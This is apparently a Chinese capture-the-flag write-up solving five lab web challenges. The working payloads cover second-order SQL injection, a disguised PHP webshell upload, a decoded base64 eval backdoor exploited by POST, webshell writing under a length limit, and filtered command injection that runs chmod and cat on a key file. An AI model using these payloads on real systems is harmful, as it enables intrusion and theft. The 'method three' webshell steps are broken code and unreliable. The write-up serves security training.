1 http://39.100.119.37:81/

SQL注入

二阶SQL注入跟等价的一阶SQL注入一样功能强大。不过它是一种更细微的漏洞，通常更难被检测到。

使用admin登录后，即可获取到KEY1

考点，sql注入获取用户admin的密码，登录获得key

```
select * from user where user='' and passwd='';
insert into user() value('xxx','yyy')
updata user set pwd='' where name='admin'
```

题目中有注册和登录选项

注册一个普通用户看看 zt111/111

注册特殊用户试试 admin’#999 成功，登录 admin’#999

登录进去后 提示信息不是admin用户权限不足，

发现了重置密码操作

重置用户admin’#999 的密码成功

使用 admin 和你上一步修改的密码 即可登录

KEY1:fes3nu8e

二题： http://39.100.119.37:82/

文件上传突破

文件上传漏洞是指用户上传了一个可执行的脚本文件，并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的，“文件上传”本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果。

尝试获取webshell，答案就在根目录下key.php文件中。

尝试上传正常文件

gif，png，jpge 都可以

发现文件名后缀没有验证 可以直接上传php结尾的文件

39.100.119.37:82/2.php

注意：linux区分大小写，

有内容验证和文件头验证，尝试传入变异一句话

GIF89a

<?php system($_GET[c]); ?>

http://39.100.119.37:82/2.php?c=ls

http://39.100.119.37:82/2.php?c=cat ./key.php

查看源码拿到key：

//key2:ef85ndsq

三题：http://39.100.119.37:83

文件包含

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时，由于传入的文件名没有经过合理的校验，从而操作了预想之外的文件，就可能导致意外的文件泄露甚至恶意的代码注入。

测试该网站可能存在的包含漏洞，尝试获取webshell，答案就在根目录下key.php文件中。

http://39.100.119.37:83/start/index.php?file=view.html

尝试访问 http://39.100.119.37:83/start/index.php?file=view.htm 失败

可能只有view.html可以访问

查看 view.html 源码 http://39.100.119.37:83/start/view.html

```
<?php
@$a = $_POST['Hello'];
if(isset($a)){
@preg_replace("/\
[(.*)\]/e",'\\1',base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10='));

}
?>
Hello
<br>
Are you ok?
```

解码：WOBldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=

[@eval(base64_decode($_POST[z0]));]

view.html 有两个参数 Hello 和 z0

于是构建参数

Hello=11&z0=system('cat ../key.php');

system('cat ../key.php'); 64编码=》 c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==

Hello=11&z0= c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==

改变 get方法为post

POST /start/index.php?file=view.html HTTP/1.1
Host: 39.100.119.37:83
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=5kv1qhl48fmj0em41it4enug8s
X-Forwarded-For: 8.8.8.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

Hello=11&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==

源码获得key

//key3:ce8nrwd7

四题：http://39.100.119.37:84/

代码审计

检查源代码中的安全缺陷，是否存在安全隐患，或者有编码不规范的地方，通过自动化工具或者人工审查的方式，对程序源代码逐条进行检查和分析，发现这些源代码缺陷引发的安全漏洞

```
0 <?php
   header("Content-type:text/html;charset=utf-8");
   /*
   Hint:
   get the shell find the key; ) \n";
```

```
    */
    echo strlen($_GET['cmd']);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 30) {
        @exec($_GET['cmd']);
#@eval($_GET['cmd']);
    }
    highlight_file(__FILE__);

echo "<br /> IP : {$_SERVER['REMOTE_ADDR']}";
```

IP : 10.10.10.131

通过代码发现，exec可以直接执行cmd 参数，但是有长度限制

方法一：ls >1.txt

http://39.100.119.37:84/start/vul.php?cmd=ls >1.txt

http://39.100.119.37:84/start/1.txt

拿到key：

key4 is dz8c3sha

方法2：使用echo写入一句话

echo -e 不换行

echo -e ‘命令’

方法三：echo 写入 ，php拼接

```
<?php $a='$_POST[C]';
$a+=
eval($a);
?>
```

```
echo '<?php' >1.php
echo '$a="$_POST["' >1.php
echo '$a=$a."C];"' >1.php
echo 'eval($a);' >1.php
echo '?>' >1.php
```

一句话写入完成，使用菜刀连接即可

http://39.100.119.37:84/start/1.php

五题：http://39.100.119.37:85/

命令执行

当应用需要调用一些外部程序去处理内容的情况下，就会用到一些执行系统命令的函数。如PHP中的system，exec，shell_exec等，当用户可以控制命令执行函数中的参数时，将可注入恶意系统命令到正常命令中，造成命令执行攻击。

请读取根目录下的key.php文件

发现有连接符过滤，如 ；|

可使用 &

127.0.0.1& cal 发现可执行

127.0.0.1& pwd 获得路径 /var/www/html/start

使用curl 尝试

127.0.0.1&curl file:///var/www/html/start/key.php

127.0.0.1&curl file:///var/www/html/key.php

发现php 可能是敏感字符，被过滤了

分割命令：’ \ ()

发现可以执行： 127.0.0.1 & l\s -al ../

```
drwxrwxrwx    6 nginx    nginx        128 Nov 10 07:24 .
drwxr-xr-x    1 root     root          19 Oct 31  2018 ..
drwxr-xr-x    2 nginx    nginx         40 Mar 19  2019 css
-rw-r--r--    1 nginx    nginx          0 Nov 10 07:24 dir.txt
-rw-r--r--    1 nginx    nginx        303 Oct  8 03:39 footer.php
-rw-r--r--    1 nginx    nginx        543 Mar 19  2019 header.php
drwxr-xr-x    2 nginx    nginx         21 Mar 19  2019 images
-rw-r--r--    1 nginx    nginx       1000 Mar 19  2019 index.php
drwxr-xr-x    2 nginx    nginx         25 Mar 19  2019 js
----------    1 nginx    nginx         48 Oct 10 06:18 key.php
drwxr-xr-x    2 nginx    nginx       4096 Nov 17 03:44 start
```

发现 key.php ,但是权限不够，给文件加权限

127.0.0.1 & chmo\d 777 ../key.ph\p

127.0.0.1 & ca\t ../key.ph\p

查看源码拿到key： //key5:acsq3fd5